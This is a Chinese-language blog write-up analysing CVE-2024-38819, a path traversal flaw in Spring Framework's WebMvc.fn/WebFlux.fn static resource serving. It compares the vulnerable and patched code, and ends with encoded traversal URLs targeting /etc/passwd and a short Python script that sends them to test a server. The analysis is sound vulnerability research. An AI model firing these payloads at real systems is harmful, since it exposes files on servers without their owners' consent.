【CVE分析】2024年10月份

2024年12月16日,放出来了poc:https://mp.weixin.qq.com/s/g64YdLFa_o3GZDic9WfkIQ

CVE-2024-38819

https://spring.io/security/cve-2024-38819
通过功能性 Web 框架 WebMvc.fn 或 WebFlux.fn 提供静态资源的应用程序容易受到路径遍历攻击。攻击者可以构建恶意 HTTP 请求,并获取文件系统上任何文件,这些文件也可以被运行 Spring 应用程序的进程访问。
这与 CVE-2024-38816 类似,但输入不同。

Affected Spring Products and Versions
Spring Framework:
5.3.0 - 5.3.40
6.0.0 - 6.0.24
6.1.0 - 6.1.13
Older, unsupported versions are also affected

看到6.1.x版本存在漏洞,而6.1.14版本不存在,我下载了13和14两个版本的代码,想要通过对比查看这个漏洞点在哪里
使用WinMerge对比代码发现在,webmvc目录下的代码存在如下差异:

来看下变更的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

// 13版本
protected String processPath(String path) {
path = StringUtils.replace(path, "\\", "/");
path = cleanDuplicateSlashes(path);
return cleanLeadingSlash(path);
}

// 14版本
protected String processPath(String path) {
path = StringUtils.replace(path, "\\", "/");
path = cleanDuplicateSlashes(path);
path = cleanLeadingSlash(path);
return normalizePath(path);
}

private static String normalizePath(String path) {
String result = path;
if (result.contains("%")) {
result = decode(result);
if (result.contains("%")) {
result = decode(result);
}
if (result.contains("../")) {
return StringUtils.cleanPath(result);
}
}
return path;
}

private static String decode(String path) {
try {
return URLDecoder.decode(path, StandardCharsets.UTF_8);
}
catch (Exception ex) {
return "";
}
}

可以看到主要是添加了上面的两个函数normalizePath decode

  1. 路径规范化(normalizePath 方法的添加)

    • 新代码中添加了normalizePath方法,这个方法更详尽地处理了路径中的编码问题。如果路径包含百分号(%),该方法将尝试解码路径,并在解码后再次验证路径是否含有../,如果有,则调用StringUtils.cleanPath来规范化路径。这增加了对路径编码漏洞的防护,可以防止攻击者利用编码后的特殊字符(如%2e%2e%2f对应../)进行攻击。
  2. 路径解码逻辑(decode 方法的实现)

    • 新增的decode方法尝试解码路径,如果解码失败,则返回空字符串。这样的处理减少了因解码失败导致的异常抛出,增强了代码的健壮性,并间接防止了可能的攻击。
  3. 更严格的路径验证(改进isInvalidPathisInvalidEncodedInputPath 方法)

    • isInvalidPath方法现在直接返回true如果路径中包含"../",这简化了检查逻辑,确保了路径中不包含向上级目录的跳转。
    • isInvalidEncodedInputPath方法对于包含百分号的路径,会在解码后对路径进行两次检查,一次是直接解码后,另一次是处理(正规化)解码后的路径。这样的双重检查可以更有效地捕捉到潜在的非法路径访问尝试。

      下面分析利用链

      通过test可以看到是类似这样的资源访问会触发,接下来尝试构造poc
  4. 构建请求

    • 尝试通过多重编码的路径来绕过可能的单层路径过滤。
    • 示例路径:http://example.com/resources/../../../../../../../../../etc/passwd
    • 使用编码避免过滤:http://example.com/resources/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
    • 更多编码层次:http://example.com/resources/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
  5. 构建测试脚本(使用Python):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    import requests

    def test_path_traversal(url_base):
    # 不同层次的编码测试
    paths = [
    "/../../../../../../../../../etc/passwd", # 无编码
    "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", # 单次编码
    "/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd" # 多次编码
    ]
    for path in paths:
    full_url = f"{url_base}{path}"
    response = requests.get(full_url)
    if "root:" in response.text:
    print(f"Vulnerable to path traversal at {full_url}")
    else:
    print(f"Secure against path traversal at {full_url}")

    if __name__ == "__main__":
    test_path_traversal("http://example.com/resources")